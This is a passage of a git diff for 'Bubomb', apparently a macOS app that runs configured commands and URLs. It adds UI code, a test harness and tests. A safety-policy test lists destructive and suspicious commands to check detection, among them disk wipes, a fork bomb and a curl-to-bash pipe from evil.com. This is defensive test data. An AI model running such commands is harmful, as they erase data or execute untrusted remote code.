.foregroundColor(BubombTheme.accentAmber) + } + .padding(.horizontal, 8) + .padding(.vertical, 4) + .background(BubombTheme.accentAmber.opacity(0.12)) + .cornerRadius(12) + } + } + .padding(.horizontal, 16) + .padding(.vertical, 12) + .background(BubombTheme.surface) + } +} diff --git a/Sources/BubombUI/Settings/Theme.swift b/Sources/BubombUI/Settings/Theme.swift new file mode 100644 index 0000000..adc8b63 --- /dev/null +++ b/Sources/BubombUI/Settings/Theme.swift @@ -0,0 +1,42 @@ +import SwiftUI + +public enum BubombTheme { + public static let windowBackground = Color(red: 0.08, green: 0.08, blue: 0.10) + public static let surface = Color(red: 0.12, green: 0.12, blue: 0.15) + public static let surfaceElevated = Color(red: 0.16, green: 0.16, blue: 0.20) + public static let border = Color(red: 0.22, green: 0.22, blue: 0.28) + public static let borderSubtle = Color(red: 0.18, green: 0.18, blue: 0.23) + + public static let accentOrange = Color(red: 1.0, green: 0.42, blue: 0.0) + public static let accentAmber = Color(red: 1.0, green: 0.65, blue: 0.0) + public static let accentPurple = Color(red: 0.52, green: 0.40, blue: 0.95) + public static let successGreen = Color(red: 0.20, green: 0.78, blue: 0.35) + public static let failureRed = Color(red: 1.0, green: 0.27, blue: 0.23) + + public static let textPrimary = Color.white + public static let textSecondary = Color.white.opacity(0.65) + public static let textMuted = Color.white.opacity(0.40) +} + +public struct CardModifier: ViewModifier { + var padding: CGFloat = 14 + + public func body(content: Content) -> some View { + content + .padding(padding) + .background( + RoundedRectangle(cornerRadius: 10, style: .continuous) + .fill(BubombTheme.surface) + ) + .overlay( + RoundedRectangle(cornerRadius: 10, style: .continuous) + .stroke(BubombTheme.borderSubtle, lineWidth: 1) + ) + } +} + +public extension View { + func bubombCard(padding: CGFloat = 14) -> some View { + self.modifier(CardModifier(padding: padding)) + } +} diff --git a/Sources/BubombUI/Windows/WindowManager.swift b/Sources/BubombUI/Windows/WindowManager.swift new file mode 100644 index 0000000..71877dc --- /dev/null +++ b/Sources/BubombUI/Windows/WindowManager.swift @@ -0,0 +1,56 @@ +import SwiftUI +import BubombCore +#if canImport(AppKit) +import AppKit + +/// Controls creation, display, and lifecycle of native macOS windows for Bubomb. +@MainActor +public final class WindowManager: NSObject, NSWindowDelegate { + public static let shared = WindowManager() + + private var settingsWindow: NSWindow? + + override private init() { + super.init() + } + + /// Opens or brings the Settings window to the front. + public func showSettingsWindow(settingsStore: SettingsStore = .shared, executor: PayloadExecutor? = nil) { + let exec = executor ?? PayloadExecutor.shared + if let window = settingsWindow { + window.makeKeyAndOrderFront(nil) + NSApp.activate(ignoringOtherApps: true) + return + } + + let contentView = SettingsView(settingsStore: settingsStore, executor: exec) + let hostingController = NSHostingController(rootView: contentView) + + let window = NSWindow(contentViewController: hostingController) + window.title = "Bubomb Settings" + window.styleMask = [.titled, .closable, .miniaturizable, .resizable] + window.titlebarAppearsTransparent = true + window.titleVisibility = .hidden + window.isReleasedWhenClosed = false + window.delegate = self + window.backgroundColor = NSColor(calibratedRed: 0.08, green: 0.08, blue: 0.10, alpha: 1.0) + window.setContentSize(NSSize(width: 680, height: 580)) + window.center() + + self.settingsWindow = window + + window.makeKeyAndOrderFront(nil) + NSApp.activate(ignoringOtherApps: true) + } + + public func closeSettingsWindow() { + settingsWindow?.orderOut(nil) + } + + // MARK: - NSWindowDelegate + + public func windowWillClose(_ notification: Notification) { + // Keep window reference around for fast reopening + } +} +#endif diff --git a/Tests/BubombCoreTests/PayloadValidationTests.swift b/Tests/BubombCoreTests/PayloadValidationTests.swift new file mode 100644 index 0000000..12c585d --- /dev/null +++ b/Tests/BubombCoreTests/PayloadValidationTests.swift @@ -0,0 +1,101 @@ +#if canImport(XCTest) +import XCTest +#endif +import Foundation +import BubombCore + +final class PayloadValidationTests: XCTestCase { + func testEmptyPayloadNameThrows() { + let payload = Payload(name: " ", type: .shellCommand(ShellConfig(command: "echo hi"))) + XCTAssertThrowsError(try payload.validate()) { error in + guard case ExecutionError.invalidConfiguration(let reason) = error else { + XCTFail("Expected invalidConfiguration, got \(error)") + return + } + XCTAssertTrue(reason.contains("name")) + } + } + + func testEmptyCommandThrows() { + let payload = Payload(name: "Test", type: .shellCommand(ShellConfig(command: ""))) + XCTAssertThrowsError(try payload.validate()) { error in + guard case ExecutionError.invalidConfiguration(let reason) = error else { + XCTFail("Expected invalidConfiguration, got \(error)") + return + } + XCTAssertTrue(reason.contains("Command cannot be empty")) + } + } + + func testValidShellCommandPasses() throws { + let payload = Payload( + name: "Valid Shell", + type: .shellCommand(ShellConfig(command: "echo 'Detonate!'", shellPath: "/bin/zsh")) + ) + XCTAssertNoThrow(try payload.validate()) + } + + func testNonExistentShellThrows() { + let payload = Payload( + name: "Bad Shell", + type: .shellCommand(ShellConfig(command: "echo hi", shellPath: "/bin/non_existent_shell_12345")) + ) + XCTAssertThrowsError(try payload.validate()) { error in + guard case ExecutionError.executableNotFound = error else { + XCTFail("Expected executableNotFound, got \(error)") + return + } + } + } + + func testNonExistentWorkingDirectoryThrows() { + let payload = Payload( + name: "Bad WorkDir", + type: .shellCommand(ShellConfig(command: "echo hi", workingDirectory: "/path/that/does/not/exist_12345")) + ) + XCTAssertThrowsError(try payload.validate()) { error in + guard case ExecutionError.workingDirectoryNotFound = error else { + XCTFail("Expected workingDirectoryNotFound, got \(error)") + return + } + } + } + + func testInvalidURLThrows() { + let payload = Payload(name: "Bad URL", type: .openURL(URLConfig(urlString: "ftp://example.com"))) + XCTAssertThrowsError(try payload.validate()) { error in + guard case ExecutionError.invalidURL = error else { + XCTFail("Expected invalidURL, got \(error)") + return + } + } + + let payload2 = Payload(name: "Malformed URL", type: .openURL(URLConfig(urlString: "not-a-url"))) + XCTAssertThrowsError(try payload2.validate()) + } + + func testValidURLPasses() throws { + let payload = Payload(name: "Good URL", type: .openURL(URLConfig(urlString: "https://apple.com"))) + XCTAssertNoThrow(try payload.validate()) + } + + func testNonExistentScriptThrows() { + let payload = Payload(name: "Bad Script", type: .runScript(ScriptConfig(scriptPath: "/tmp/non_existent_script_9876.sh"))) + XCTAssertThrowsError(try payload.validate()) { error in + guard case ExecutionError.scriptNotFound = error else { + XCTFail("Expected scriptNotFound, got \(error)") + return + } + } + } + + func testEmptySequenceThrows() { + let payload = Payload(name: "Empty Seq", type: .sequence(SequenceConfig(steps: []))) + XCTAssertThrowsError(try payload.validate()) { error in + guard case ExecutionError.invalidConfiguration = error else { + XCTFail("Expected invalidConfiguration, got \(error)") + return + } + } + } +} diff --git a/Tests/BubombCoreTests/ProcessRunnerTests.swift b/Tests/BubombCoreTests/ProcessRunnerTests.swift new file mode 100644 index 0000000..e9d7bf2 --- /dev/null +++ b/Tests/BubombCoreTests/ProcessRunnerTests.swift @@ -0,0 +1,119 @@ +#if canImport(XCTest) +import XCTest +#endif +import Foundation +import BubombCore + +final class ProcessRunnerTests: XCTestCase { + func testSuccessfulCommandExecution() async throws { + let runner = ProcessRunner() + let result = try await runner.run( + executableURL: URL(fileURLWithPath: "/bin/echo"), + arguments: ["Hello", "Bubomb!"] + ) + + XCTAssertEqual(result.exitCode, 0) + XCTAssertEqual(result.stdout.trimmingCharacters(in: .whitespacesAndNewlines), "Hello Bubomb!") + XCTAssertTrue(result.stderr.isEmpty) + XCTAssertGreaterThan(result.duration, 0) + } + + func testShellCommandExecutorWithArguments() async throws { + let executor = ShellCommandExecutor() + let config = ShellConfig( + command: "echo", + shellPath: "/bin/zsh", + arguments: ["arg1", "arg2"] + ) + let result = try await executor.execute(config: config) + XCTAssertEqual(result.exitCode, 0) + let trimmed = result.stdout.trimmingCharacters(in: .whitespacesAndNewlines) + XCTAssertTrue(trimmed.contains("arg1 arg2")) + } + + func testNonZeroExitStatusThrows() async { + let runner = ProcessRunner() + do { + _ = try await runner.run( + executableURL: URL(fileURLWithPath: "/bin/sh"), + arguments: ["-c", "exit 42"] + ) + XCTFail("Should have thrown nonZeroExitStatus") + } catch let error as ExecutionError { + if case .nonZeroExitStatus(let code, _) = error { + XCTAssertEqual(code, 42) + } else { + XCTFail("Unexpected error type: \(error)") + } + } catch { + XCTFail("Unexpected non-ExecutionError: \(error)") + } + } + + func testEnvironmentVariablesPassedToProcess() async throws { + let runner = ProcessRunner() + let result = try await runner.run( + executableURL: URL(fileURLWithPath: "/bin/sh"), + arguments: ["-c", "echo $BUBOMB_MAGIC_TOKEN"], + environment: ["BUBOMB_MAGIC_TOKEN": "BOOM_42"] + ) + XCTAssertEqual(result.exitCode, 0) + XCTAssertEqual(result.stdout.trimmingCharacters(in: .whitespacesAndNewlines), "BOOM_42") + } + + func testWorkingDirectory() async throws { + let runner = ProcessRunner() + let result = try await runner.run( + executableURL: URL(fileURLWithPath: "/bin/pwd"), + arguments: [], + workingDirectory: "/tmp" + ) + XCTAssertEqual(result.exitCode, 0) + let output = result.stdout.trimmingCharacters(in: .whitespacesAndNewlines) + // On macOS /tmp is a symlink to /private/tmp + XCTAssertTrue(output == "/tmp" || output == "/private/tmp") + } + + func testProcessTimeout() async { + let runner = ProcessRunner() + do { + _ = try await runner.run( + executableURL: URL(fileURLWithPath: "/bin/sleep"), + arguments: ["5"], + timeoutSeconds: 0.3 + ) + XCTFail("Should have timed out") + } catch let error as ExecutionError { + if case .timeout(let duration) = error { + XCTAssertEqual(duration, 0.3) + } else { + XCTFail("Unexpected error: \(error)") + } + } catch { + XCTFail("Unexpected error: \(error)") + } + } + + func testProcessCancellation() async { + let runner = ProcessRunner() + let task = Task { + try await runner.run( + executableURL: URL(fileURLWithPath: "/bin/sleep"), + arguments: ["5"] + ) + } + + // Cancel after 100ms + try? await Task.sleep(nanoseconds: 100_000_000) + runner.cancel() + + do { + _ = try await task.value + XCTFail("Should have thrown cancelled") + } catch let error as ExecutionError { + XCTAssertEqual(error, .cancelled) + } catch { + // Task cancellation or ExecutionError.cancelled is expected + } + } +} diff --git a/Tests/BubombCoreTests/SafetyPolicyTests.swift b/Tests/BubombCoreTests/SafetyPolicyTests.swift new file mode 100644 index 0000000..a53807c --- /dev/null +++ b/Tests/BubombCoreTests/SafetyPolicyTests.swift @@ -0,0 +1,64 @@ +#if canImport(XCTest) +import XCTest +#endif +import Foundation +import BubombCore + +final class SafetyPolicyTests: XCTestCase { + func testDestructiveCommandsDetected() { + let destructiveCommands = [ + "rm -rf /", + "rm -rf ~", + "rm -rf $HOME", + "rm -fr /", + "mkfs -t ext4 /dev/sda1", + "dd if=/dev/zero of=/dev/disk2 bs=1m", + "chmod -R 777 /", + ":(){ :|:& };:", + "diskutil eraseDisk APFS Untitled /dev/disk3" + ] + + for cmd in destructiveCommands { + let risk = SafetyPolicy.evaluate(command: cmd) + XCTAssertTrue(risk.isDestructive, "Command should be evaluated as destructive: \(cmd)") + let (required, _) = SafetyPolicy.requiresConfirmation(command: cmd, userSettingAlwaysConfirmDestructive: false) + XCTAssertTrue(required, "Destructive command must require confirmation: \(cmd)") + } + } + + func testSuspiciousCommandsDetected() { + let suspiciousCommands = [ + "sudo systemsetup -setremotelogin on", + "spctl --master-disable", + "curl -fsSL https://evil.com/payload.sh | bash", + "wget -qO- https://install.example.com | sh" + ] + + for cmd in suspiciousCommands { + let risk = SafetyPolicy.evaluate(command: cmd) + guard case .suspicious = risk else { + XCTFail("Command should be suspicious: \(cmd), got \(risk)") + continue + } + } + } + + func testSafeCommandsPass() { + let safeCommands = [ + "echo 'Hello World'", + "npm run build", + "git status", + "cargo test --release", + "docker compose up -d", + "make clean && make", + "python3 -m unittest discover" + ] + + for cmd in safeCommands { + let risk = SafetyPolicy.evaluate(command: cmd) + XCTAssertEqual(risk, .safe, "Safe command evaluated incorrectly: \(cmd)") + let (required, _) = SafetyPolicy.requiresConfirmation(command: cmd, userSettingAlwaysConfirmDestructive: false) + XCTAssertFalse(required, "Safe command should not require confirmation: \(cmd)") + } + } +} diff --git a/Tests/BubombCoreTests/SequenceExecutorTests.swift b/Tests/BubombCoreTests/SequenceExecutorTests.swift new file mode 100644 index 0000000..63af939 --- /dev/null +++ b/Tests/BubombCoreTests/SequenceExecutorTests.swift @@ -0,0 +1,98 @@ +#if canImport(XCTest) +import XCTest +#endif +import Foundation +import BubombCore + +final class SequenceExecutorTests: XCTestCase { + func testSuccessfulSequentialExecution() async throws { + let step1 = SequenceStep( + name: "Step 1", + action: .runCommand(command: "echo 'first'", workingDirectory: nil, timeoutSeconds: 5) + ) + let step2 = SequenceStep( + name: "Step 2", + action: .runCommand(command: "echo 'second'", workingDirectory: nil, timeoutSeconds: 5) + ) + + let config = SequenceConfig(steps: [step1, step2], stopOnError: true) + let executor = SequenceExecutor() + + let tracker = StepTracker() + let result = try await executor.execute(config: config) { step, total, name in + tracker.record(step: step, total: total, name: name) + } + + XCTAssertEqual(result.exitCode, 0) + XCTAssertTrue(result.stdout.contains("first")) + XCTAssertTrue(result.stdout.contains("second")) + let calls = tracker.getCalls() + XCTAssertEqual(calls.count, 2) + XCTAssertEqual(calls[0].0, 1) + XCTAssertEqual(calls[1].0, 2) + } + + func testSequenceStopsOnErrorWhenConfigured() async { + let step1 = SequenceStep( + name: "Failing Step", + action: .runCommand(command: "exit 12", workingDirectory: nil, timeoutSeconds: 5) + ) + let step2 = SequenceStep( + name: "Should Not Run", + action: .runCommand(command: "echo 'unreachable'", workingDirectory: nil, timeoutSeconds: 5) + ) + + let config = SequenceConfig(steps: [step1, step2], stopOnError: true) + let executor = SequenceExecutor() + + do { + _ = try await executor.execute(config: config) + XCTFail("Should have thrown stepFailed error") + } catch let error as ExecutionError { + if case .stepFailed(let index, let name, _) = error { + XCTAssertEqual(index, 0) + XCTAssertEqual(name, "Failing Step") + } else { + XCTFail("Unexpected error: \(error)") + } + } catch { + XCTFail("Unexpected non-ExecutionError: \(error)") + } + } + + func testSequenceContinuesOnErrorWhenConfigured() async throws { + let step1 = SequenceStep( + name: "Ignored Failure", + action: .runCommand(command: "exit 5", workingDirectory: nil, timeoutSeconds: 5) + ) + let step2 = SequenceStep( + name: "Subsequent Step", + action: .runCommand(command: "echo 'recovered'", workingDirectory: nil, timeoutSeconds: 5) + ) + + let config = SequenceConfig(steps: [step1, step2], stopOnError: false) + let executor = SequenceExecutor() + + let result = try await executor.execute(config: config) + XCTAssertEqual(result.exitCode, 0) + XCTAssertTrue(result.stdout.contains("recovered")) + XCTAssertTrue(result.stderr.contains("Step 1 failed")) + } +} + +private final class StepTracker: @unchecked Sendable { + private var calls: [(Int, Int, String)] = [] + private let lock = NSLock() + + func record(step: Int, total: Int, name: String) { + lock.lock() + calls.append((step, total, name)) + lock.unlock() + } + + func getCalls() -> [(Int, Int, String)] { + lock.lock() + defer { lock.unlock() } + return calls + } +} diff --git a/Tests/BubombCoreTests/SettingsStoreTests.swift b/Tests/BubombCoreTests/SettingsStoreTests.swift new file mode 100644 index 0000000..ab832dd --- /dev/null +++ b/Tests/BubombCoreTests/SettingsStoreTests.swift @@ -0,0 +1,90 @@ +#if canImport(XCTest) +import XCTest +#endif +import Foundation +import BubombCore + +final class SettingsStoreTests: XCTestCase { + var userDefaults: UserDefaults! + var suiteName: String! + + override func setUp() { + super.setUp() + suiteName = "test.bubomb.\(UUID().uuidString)" + userDefaults = UserDefaults(suiteName: suiteName)! + } + + override func tearDown() { + userDefaults.removePersistentDomain(forName: suiteName) + super.tearDown() + } + + func testInitialSettings() { + let store = SettingsStore(userDefaults: userDefaults) + XCTAssertNil(store.settings.activePayload) + XCTAssertTrue(store.settings.savedPayloads.isEmpty) + XCTAssertTrue(store.settings.confirmDestructiveActions) + } + + func testSaveAndRetrieveActivePayload() { + let store = SettingsStore(userDefaults: userDefaults) + let payload = Payload( + name: "Deploy Script", + type: .shellCommand(ShellConfig(command: "echo deploy", shellPath: "/bin/zsh")) + ) + store.setActivePayload(payload) + + XCTAssertEqual(store.settings.activePayload?.id, payload.id) + XCTAssertEqual(store.settings.activePayload?.name, "Deploy Script") + XCTAssertEqual(store.settings.savedPayloads.count, 1) + + // Verify fresh store instance loads saved settings + let restoredStore = SettingsStore(userDefaults: userDefaults) + XCTAssertEqual(restoredStore.settings.activePayload?.id, payload.id) + XCTAssertEqual(restoredStore.settings.activePayload?.name, "Deploy Script") + } + + func testExecutionHistoryCap() { + let store = SettingsStore(userDefaults: userDefaults) + for i in 1...35 { + let record = ExecutionRecord( + payloadId: UUID(), + payloadName: "Run \(i)", + payloadTypeDescription: "Shell Command", + startedAt: Date(), + status: .succeeded + ) + store.addExecutionRecord(record) + } + + XCTAssertEqual(store.settings.recentExecutions.count, 30) + XCTAssertEqual(store.settings.recentExecutions.first?.payloadName, "Run 35") + } + + func testClearHistory() { + let store = SettingsStore(userDefaults: userDefaults) + let record = ExecutionRecord( + payloadId: UUID(), + payloadName: "Test Run", + payloadTypeDescription: "Shell Command", + startedAt: Date(), + status: .succeeded + ) + store.addExecutionRecord(record) + XCTAssertFalse(store.settings.recentExecutions.isEmpty) + + store.clearHistory() + XCTAssertTrue(store.settings.recentExecutions.isEmpty) + } + + func testResetToDefaults() { + let store = SettingsStore(userDefaults: userDefaults) + let payload = Payload(name: "Temporary", type: .openURL(URLConfig(urlString: "https://example.com"))) + store.setActivePayload(payload) + XCTAssertNotNil(store.settings.activePayload) + + store.resetToDefaults() + XCTAssertNil(store.settings.activePayload) + XCTAssertTrue(store.settings.savedPayloads.isEmpty) + } +} diff --git a/Tests/BubombCoreTests/TestHarness.swift b/Tests/BubombCoreTests/TestHarness.swift new file mode 100644 index 0000000..4d58481 --- /dev/null +++ b/Tests/BubombCoreTests/TestHarness.swift @@ -0,0 +1,137 @@ +import Foundation + +public struct TestFailure { + public let message: String + public let file: StaticString + public let line: UInt +} + +public final class TestContext: @unchecked Sendable { + public static let shared = TestContext() + public var currentTestFailures: [TestFailure] = [] + public var totalPassed = 0 + public var totalFailed = 0 +} + +open class XCTestCase { + public init() {} + open func setUp() {} + open func tearDown() {} +} + +public func XCTAssertEqual<T: Equatable>( + _ a: @autoclosure () -> T, + _ b: @autoclosure () -> T, + _ message: String = "", + file: StaticString = #filePath, + line: UInt = #line +) { + let valA = a() + let valB = b() + if valA != valB { + let msg = message.isEmpty ? "XCTAssertEqual failed: ('\(valA)') is not equal to ('\(valB)')" : message + TestContext.shared.currentTestFailures.append(TestFailure(message: msg, file: file, line: line)) + } +} + +public func XCTAssertTrue( + _ condition: @autoclosure () -> Bool, + _ message: String = "", + file: StaticString = #filePath, + line: UInt = #line +) { + if !condition() { + let msg = message.isEmpty ? "XCTAssertTrue failed" : message + TestContext.shared.currentTestFailures.append(TestFailure(message: msg, file: file, line: line)) + } +} + +public func XCTAssertFalse( + _ condition: @autoclosure () -> Bool, + _ message: String = "", + file: StaticString = #filePath, + line: UInt = #line +) { + if condition() { + let msg = message.isEmpty ? "XCTAssertFalse failed" : message + TestContext.shared.currentTestFailures.append(TestFailure(message: msg, file: file, line: line)) + } +} + +public func XCTAssertNil( + _ value: @autoclosure () -> Any?, + _ message: String = "", + file: StaticString = #filePath, + line: UInt = #line +) { + if value() != nil { + let msg = message.isEmpty ? "XCTAssertNil failed: value is not nil" : message + TestContext.shared.currentTestFailures.append(TestFailure(message: msg, file: file, line: line)) + } +} + +public func XCTAssertNotNil( + _ value: @autoclosure () -> Any?, + _ message: String = "", + file: StaticString = #filePath, + line: UInt = #line +) { + if value() == nil { + let msg = message.isEmpty ? "XCTAssertNotNil failed: value is nil" : message + TestContext.shared.currentTestFailures.append(TestFailure(message: msg, file: file, line: line)) + } +} + +public func XCTAssertGreaterThan<T: Comparable>( + _ a: @autoclosure () -> T, + _ b: @autoclosure () -> T, + _ message: String = "", + file: StaticString = #filePath, + line: UInt = #line +) { + let valA = a() + let valB = b() + if !(valA > valB) { + let msg = message.isEmpty ? "XCTAssertGreaterThan failed: ('\(valA)') is not greater than ('\(valB)')" : message + TestContext.shared.currentTestFailures.append(TestFailure(message: msg, file: file, line: line)) + } +} + +public func XCTFail( + _ message: String = "", + file: StaticString = #filePath, + line: UInt = #line +) { + let msg = message.isEmpty ? "XCTFail called" : message + TestContext.shared.currentTestFailures.append(TestFailure(message: msg, file: file, line: line)) +} + +public func XCTAssertThrowsError<T>( + _ expression: @autoclosure () throws -> T, + _ message: String = "", + file: StaticString = #filePath, + line: UInt = #line, + _ errorHandler: (Error) -> Void = { _ in } +) { + do { + _ = try expression() + let msg = message.isEmpty ? "XCTAssertThrowsError failed: did not throw an error" : message + TestContext.shared.currentTestFailures.append(TestFailure(message: msg, file: file, line: line)) + } catch { + errorHandler(error) + } +} + +public func XCTAssertNoThrow<T>( + _ expression: @autoclosure () throws -> T, + _ message: String = "", + file: StaticString = #filePath, + line: UInt = #line +) { + do { + _ = try expression() + } catch { + let msg = message.isEmpty ? "XCTAssertNoThrow failed: threw \(error)" : message + TestContext.shared.currentTestFailures.append(TestFailure(message: msg, file: file, line: line)) + } +} diff --git a/Tests/BubombCoreTests/URLLauncherTests.swift b/Tests/BubombCoreTests/URLLauncherTests.swift new file mode 100644 index 0000000..60223ad --- /dev/null +++ b/Tests/BubombCoreTests/URLLauncherTests.swift @@ -0,0 +1,45 @@ +#if canImport(XCTest) +import XCTest +#endif +import Foundation +import BubombCore + +final class URLLauncherTests: XCTestCase { + func testValidURLs() { + let validURLs = [ + "https://apple.com", + "http://localhost:8080/detonate", + "https://github.com/apple/swift?tab=readme-ov-file#swift", + "http://127.0.0.1:3000" + ] + + for u in validURLs { + switch PathValidator.validateURL(u) { + case .success(let url): + XCTAssertNotNil(url.scheme) + case .failure(let error): + XCTFail("Expected \(u) to be valid, failed with \(error)") + } + } + } + + func testInvalidURLs() { + let invalid = [ + "ftp://files.example.com", + "file:///Users/macbook", + "not-a-valid-url", + "", + " ", + "http://" + ] + + for u in invalid { + switch PathValidator.validateURL(u) { + case .success: + XCTFail("Expected \(u) to be invalid") + case .failure(let error): + XCTAssertEqual(error, .invalidURL(u)) + } + } + } +} diff --git a/Tests/BubombCoreTests/main.swift b/Tests/BubombCoreTests/main.swift new file mode 100644 index 0000000..de4bae1 --- /dev/null +++ b/Tests/BubombCoreTests/main.swift @@ -0,0 +1,123 @@ +import Foundation +import BubombCore + +func runTest(suiteName: String, testName: String, block: () async throws -> Void) async { + TestContext.shared.currentTestFailures = [] + let start = Date() + var threw = false + var errorDesc = "" + + do { + try await block() + } catch { + threw = true + errorDesc = "\(error)" + } + + let elapsed = Date().timeIntervalSince(start) + let failures = TestContext.shared.currentTestFailures + + if !threw && failures.isEmpty { + TestContext.shared.totalPassed += 1 + print(" \u{001B}[32mβ\u{001B}[0m \(testName) (\(String(format: "%.3f", elapsed))s)") + } else { + TestContext.shared.totalFailed += 1 + print(" \u{001B}[31mβ\u{001B}[0m \(testName) (\(String(format: "%.3f", elapsed))s)") + if threw { + print(" \u{001B}[31mThrew unexpected error: \(errorDesc)\u{001B}[0m") + } + for f in failures { + print(" \u{001B}[31m[\(f.file):\(f.line)] \(f.message)\u{001B}[0m") + } + } +} + +print("\u{001B}[1mπ£ Running Bubomb Test Suite...\u{001B}[0m\n") +let suiteStartTime = Date() + +// Suite 1: PayloadValidationTests +print("\u{001B}[33mβ’ PayloadValidationTests\u{001B}[0m") +let val = PayloadValidationTests() +await runTest(suiteName: "PayloadValidationTests", testName: "testEmptyPayloadNameThrows") { val.testEmptyPayloadNameThrows() } +await runTest(suiteName: "PayloadValidationTests", testName: "testEmptyCommandThrows") { val.testEmptyCommandThrows() } +await runTest(suiteName: "PayloadValidationTests", testName: "testValidShellCommandPasses") { try val.testValidShellCommandPasses() } +await runTest(suiteName: "PayloadValidationTests", testName: "testNonExistentShellThrows") { val.testNonExistentShellThrows() } +await runTest(suiteName: "PayloadValidationTests", testName: "testNonExistentWorkingDirectoryThrows") { val.testNonExistentWorkingDirectoryThrows() } +await runTest(suiteName: "PayloadValidationTests", testName: "testInvalidURLThrows") { val.testInvalidURLThrows() } +await runTest(suiteName: "PayloadValidationTests", testName: "testValidURLPasses") { try val.testValidURLPasses() } +await runTest(suiteName: "PayloadValidationTests", testName: "testNonExistentScriptThrows") { val.testNonExistentScriptThrows() } +await runTest(suiteName: "PayloadValidationTests", testName: "testEmptySequenceThrows") { val.testEmptySequenceThrows() } + +// Suite 2: SettingsStoreTests +print("\n\u{001B}[33mβ’ SettingsStoreTests\u{001B}[0m") +let storeTests = SettingsStoreTests() +await runTest(suiteName: "SettingsStoreTests", testName: "testInitialSettings") { + storeTests.setUp() + storeTests.testInitialSettings() + storeTests.tearDown() +} +await runTest(suiteName: "SettingsStoreTests", testName: "testSaveAndRetrieveActivePayload") { + storeTests.setUp() + storeTests.testSaveAndRetrieveActivePayload() + storeTests.tearDown() +} +await runTest(suiteName: "SettingsStoreTests", testName: "testExecutionHistoryCap") { + storeTests.setUp() + storeTests.testExecutionHistoryCap() + storeTests.tearDown() +} +await runTest(suiteName: "SettingsStoreTests", testName: "testClearHistory") { + storeTests.setUp() + storeTests.testClearHistory() + storeTests.tearDown() +} +await runTest(suiteName: "SettingsStoreTests", testName: "testResetToDefaults") { + storeTests.setUp() + storeTests.testResetToDefaults() + storeTests.tearDown() +} + +// Suite 3: ProcessRunnerTests +print("\n\u{001B}[33mβ’ ProcessRunnerTests\u{001B}[0m") +let procTests = ProcessRunnerTests() +await runTest(suiteName: "ProcessRunnerTests", testName: "testSuccessfulCommandExecution") { try await procTests.testSuccessfulCommandExecution() } +await runTest(suiteName: "ProcessRunnerTests", testName: "testShellCommandExecutorWithArguments") { try await procTests.testShellCommandExecutorWithArguments() } +await runTest(suiteName: "ProcessRunnerTests", testName: "testNonZeroExitStatusThrows") { await procTests.testNonZeroExitStatusThrows() } +await runTest(suiteName: "ProcessRunnerTests", testName: "testEnvironmentVariablesPassedToProcess") { try await procTests.testEnvironmentVariablesPassedToProcess() } +await runTest(suiteName: "ProcessRunnerTests", testName: "testWorkingDirectory") { try await procTests.testWorkingDirectory() } +await runTest(suiteName: "ProcessRunnerTests", testName: "testProcessTimeout") { await procTests.testProcessTimeout() } +await runTest(suiteName: "ProcessRunnerTests", testName: "testProcessCancellation") { await procTests.testProcessCancellation() } + +// Suite 4: URLLauncherTests +print("\n\u{001B}[33mβ’ URLLauncherTests\u{001B}[0m") +let urlTests = URLLauncherTests() +await runTest(suiteName: "URLLauncherTests", testName: "testValidURLs") { urlTests.testValidURLs() } +await runTest(suiteName: "URLLauncherTests", testName: "testInvalidURLs") { urlTests.testInvalidURLs() } + +// Suite 5: SafetyPolicyTests +print("\n\u{001B}[33mβ’ SafetyPolicyTests\u{001B}[0m") +let safetyTests = SafetyPolicyTests() +await runTest(suiteName: "SafetyPolicyTests", testName: "testDestructiveCommandsDetected") { safetyTests.testDestructiveCommandsDetected() } +await runTest(suiteName: "SafetyPolicyTests", testName: "testSuspiciousCommandsDetected") { safetyTests.testSuspiciousCommandsDetected() } +await runTest(suiteName: "SafetyPolicyTests", testName: "testSafeCommandsPass") { safetyTests.testSafeCommandsPass() } + +// Suite 6: SequenceExecutorTests +print("\n\u{001B}[33mβ’ SequenceExecutorTests\u{001B}[0m") +let seqTests = SequenceExecutorTests() +await runTest(suiteName: "SequenceExecutorTests", testName: "testSuccessfulSequentialExecution") { try await seqTests.testSuccessfulSequentialExecution() } +await runTest(suiteName: "SequenceExecutorTests", testName: "testSequenceStopsOnErrorWhenConfigured") { await seqTests.testSequenceStopsOnErrorWhenConfigured() } +await runTest(suiteName: "SequenceExecutorTests", testName: "testSequenceContinuesOnErrorWhenConfigured") { try await seqTests.testSequenceContinuesOnErrorWhenConfigured() } + +let totalTime = Date().timeIntervalSince(suiteStartTime) +let passed = TestContext.shared.totalPassed +let failed = TestContext.shared.totalFailed +let total = passed + failed + +print("\n" + String(repeating: "-", count: 50)) +if failed == 0 { + print("\u{001B}[32;1mπ₯ All \(total) tests passed in \(String(format: "%.2f", totalTime))s! BOOM!\u{001B}[0m\n") + exit(0) +} else { + print("\u{001B}[31;1mβ \(failed) of \(total) tests failed in \(String(format: "%.2f", totalTime))s.\u{001B}[0m\n") + exit(1) +} diff --git a/scripts/build_app.sh b/scripts/build_app.sh new file mode 100755 index 0000000..a7fb07b --- /dev/null +++ b/scripts/build_app.sh @@ -0,0 +1,49 @@ +#!/bin/bash +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +ROOT_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)" + +cd "${ROOT_DIR}" + +echo "π£ Building Bubomb (Release configuration)..." +swift build -c release --product Bubomb + +BIN_PATH="${ROOT_DIR}/.build/release/Bubomb" +if [ ! -f "${BIN_PATH}" ]; then + echo "β Error: Binary not found at ${BIN_PATH}" + exit 1 +fi + +APP_NAME="Bubomb.app" +APP_DIR="${ROOT_DIR}/${APP_NAME}" +CONTENTS_DIR="${APP_DIR}/Contents" +MACOS_DIR="${CONTENTS_DIR}/MacOS" +RESOURCES_DIR="${CONTENTS_DIR}/Resources" + +echo "π¦ Assembling ${APP_NAME} bundle..." +rm -rf "${APP_DIR}" +mkdir -p "${MACOS_DIR}" +mkdir -p "${RESOURCES_DIR}" + +# Copy binary +cp "${BIN_PATH}" "${MACOS_DIR}/Bubomb" +chmod +x "${MACOS_DIR}/Bubomb" + +# Copy Info.plist +cp "${ROOT_DIR}/Resources/Info.plist" "${CONTENTS_DIR}/Info.plist" + +# Copy Icon +if [ -f "${ROOT_DIR}/Resources/AppIcon.icns" ]; then + cp "${ROOT_DIR}/Resources/AppIcon.icns" "${RESOURCES_DIR}/AppIcon.icns" +fi + +# Ad-hoc code signing for macOS +echo "π Signing application bundle (ad-hoc)..." +codesign --force --deep --sign - "${APP_DIR}" + +echo "π Verifying code signature..." +codesign --verify --deep --strict "${APP_DIR}" + +echo "β
